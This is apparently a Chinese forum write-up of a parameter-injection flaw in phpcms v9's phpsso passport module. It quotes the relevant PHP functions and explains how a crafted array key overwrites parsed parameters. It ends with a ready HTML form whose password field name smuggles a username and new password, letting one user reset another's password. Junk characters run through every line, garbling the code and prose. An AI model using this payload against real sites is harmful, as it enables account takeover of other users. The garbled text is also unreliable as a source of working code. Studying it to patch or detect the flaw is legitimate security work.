提到的通行证的代码: O( p1 v# \4 D% M5 D
$ i. W+ a; E( U5 m9 ]3 I9 o3 h
1 R9 V' k6 e. R1 ~; Tparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' K' s+ h" A1 v& \5 m* e$ ~; m- o: W
/ D& ~8 T4 W! Q; k( w# ?在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。+ r5 v6 o4 X0 A- E8 A* K, a* Z7 p
2 O+ [1 a# d3 K( L3 _" o& @' n
我把它留给了你们。
- @ b1 u h! I" g1 }8 v p) { s! ?6 ?9 g不知道你们发现了它没有。
3 g0 I5 `) g6 y/ S! d+ Q8 U
' s$ M o! N/ h6 G1 g( I! @/ E8 ?我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。3 s; `0 Q2 r$ m( x0 p4 f. @5 D! m
7 m/ H. z3 j: h( e" ?5 q
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。/ r. Q. Q6 h6 d X6 }
N: w) k/ A1 u- C也就是9 j( M9 d% q2 \5 J. i
' M( Q% l/ Q% D9 J1 Fusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。! j7 ~2 E% Z+ x$ c/ ^
5 r6 }% H3 M: t b' N* `. n) Z; c8 ^
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。, j9 Z" ~0 T: n
4 n, \; J; _( K. y+ c! B8 |* g# Y$ ~( n7 m7 ~
其实我们有这样的机会,看看代码,如下:
" ^9 V+ g8 Q0 G- o+ O, ^* N1 s/ g4 N
# r3 q/ W0 e2 ?) \( opublic function auth_data($data) {
3 q# x- s7 c6 R) ^; @) V5 s $s = $sep = '';
' G8 ?% x8 j* W" m/ l/ L F foreach($data as $k => $v) {
- H6 j/ o$ s0 e* e+ T if(is_array($v)) {
; \: k, b0 }9 t $s2 = $sep2 = '';8 Q. \2 q* E. \: w! G% y8 @
foreach($v as $k2 => $v2) {
i/ S8 n" \ w( k: w) g $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);6 X! o4 M+ M; C: I* M; P
$sep2 = '&';
5 Y3 t% G- @: C, |& k) n+ w }) ]: u t; f8 H/ }# }7 w- A
$s .= $sep.$s2;
* l+ w$ V7 _- d% F* M } else {
5 E, V. P/ H. S+ o& C6 ]) `: W* Z $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 Z+ X0 L& c! a$ B; p }
2 s3 w. b/ Z( q $sep = '&';0 \" l5 c* t, W; T* r
}
4 j$ z/ \# |6 W
4 s6 |1 i2 B6 x6 Q $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 g5 {7 ?4 W7 @" \( W return $auth_s;& \( a: y# q; p, {/ x
}
/ R3 Z$ ^7 @: i% E3 @; K
$ o# T- k$ E% R3 \& r可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。3 F8 x: P6 G( L* H
4 r) N# y$ L; ^$ U! u
举个例子0 g* t9 H& H8 r9 g
/ W3 r, s9 h A4 f
$a[aaa=a&bbb] = 'a';
8 h3 I4 `( [ B
+ a# d( S* B2 `0 @; z6 G会变成aaa=a&bbb=a
- Z" L$ _! Q% `8 h9 G, z: A1 }" k G* {4 w& [. v: g+ p
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。. V) i* s5 ~: X' P. b9 D
) T8 N1 o" n2 H& \7 `
这个时候,我们可以再去看一个函数。
! ^6 X t9 u9 h! `6 t8 `6 `6 }& \ }7 d7 H7 v) V* G. c5 k/ T1 ~
就在这个文件内:
; Q# r2 G4 [ ` G7 W* H8 ?) k1 h$ Q$ L/ Z6 G6 _7 p' V$ N
! [% j" F+ v9 Z9 s" l- c; N4 Opublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! T9 p, U2 _7 j8 ^+ V/ H if($email && !$this->_is_email($email)) {! e" w r. z+ ^ u
return -4;- N& L; h" f! `( k* H Z
}
8 M; B9 w- b- t% p: j return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
& @( Y, U9 P: ?# F }
; f4 {4 y8 H! u& j, s" g5 W! \7 T# [& t9 e; S+ _9 w. l
这是向通行证发了这样一个请求。& y* H# w* q+ D. p# u+ j6 m1 I
0 h& q; Z) y8 M
我们再跟到通信证代码里去看看,就会有所发现。6 h) t3 y8 n, n$ f7 Y$ U7 |
' m: n- s! a$ l) |+ }2 ?- W/ P4 T
public function edit() {
' h, ?1 E9 _5 D; p* l//能省就省,太长了不是吗?
- |/ E* G" A6 L2 e M& s2 |0 f' a$ B O h
if($this->username) {) k$ r0 U6 O1 s* `! i; C7 z+ O
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 ?/ L' i7 P! n $res = $this->db->update($data, array('username'=>$this->username));* F6 v7 O& C; o6 m' l$ W0 W' z
} else {
|2 g4 D& G5 d# {2 i+ L# G* j file_put_contents('typeb.txt',print_r($data,1).$this->uid);& ]: w$ [# f! d1 s6 @
$res = $this->db->update($data, array('uid'=>$this->uid));& k& C# o* w) R& p
}
; L8 h/ W) [' B. @% Y }4 t4 x( ]- ?# S( K& E
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( x* [5 R+ [# e9 [: q! @( I' j+ h2 R6 u4 W- o) t
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')) [- y& I+ Q: ?5 p* t
. T# J ?$ h# I) E8 s2 |
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
. r, F A" _; F2 x% ^5 N9 c
' t+ _* `6 }: ~7 L9 ^我当然找到了:
6 ?5 O. Z; C7 }' G E6 j! Lphpcms9/phpcms/modules/member/index.php( @3 [/ H# r L
6 V1 U: v, ?0 r; S; x
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) w! G2 D& j$ i. f
}7 ^( N/ n5 B. C, ?/ H- Q然后就没有然后了。/ T$ \/ g. H' i$ u F9 ?6 B
; ^2 X0 r. v. A! `& G, m
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
4 Q% M5 k- V0 t" r3 h <table width="100%" cellspacing="0" class="table_form">+ K e) m0 ~4 R0 J
<tr>
/ b# F7 J! a# |& e( H <th width="80">邮箱:</th> , [1 [& J' x& K1 k9 e
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>3 H* q: L! S" B( m; I# R1 I
</tr>
+ s1 }1 h5 I Q d3 U <tr>
$ ^8 Y! r; }# l2 F% `; t. \ <th width="80">原密码:</th> . J3 f0 U3 y% |8 d: i, R- ]
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
j# t m: s h </tr>
* a; x# |- \4 s y( t2 Z; R <tr>
% g6 k. Z I3 j$ b5 [. ]$ t' e <th>新密码:</th>* I. B" G2 x# ]; o
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>/ b, C' M0 K. y' ]7 ^ W) Z8 |
</tr>
* g1 @" i; l+ M2 [ <th></th>
2 u2 n- k8 c5 }5 O4 U <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
8 q) S/ S8 R) Q- @2 m e2 {2 |8 ~ </tr>% t5 u2 S% L$ z# S
</table>3 Q( M8 X& o/ j1 Q, U
! ]4 L1 | g( E6 B/ I/ g+ L, W
) Q$ X; g: j/ v- I+ h </form>6 f8 U+ @. k3 Y
|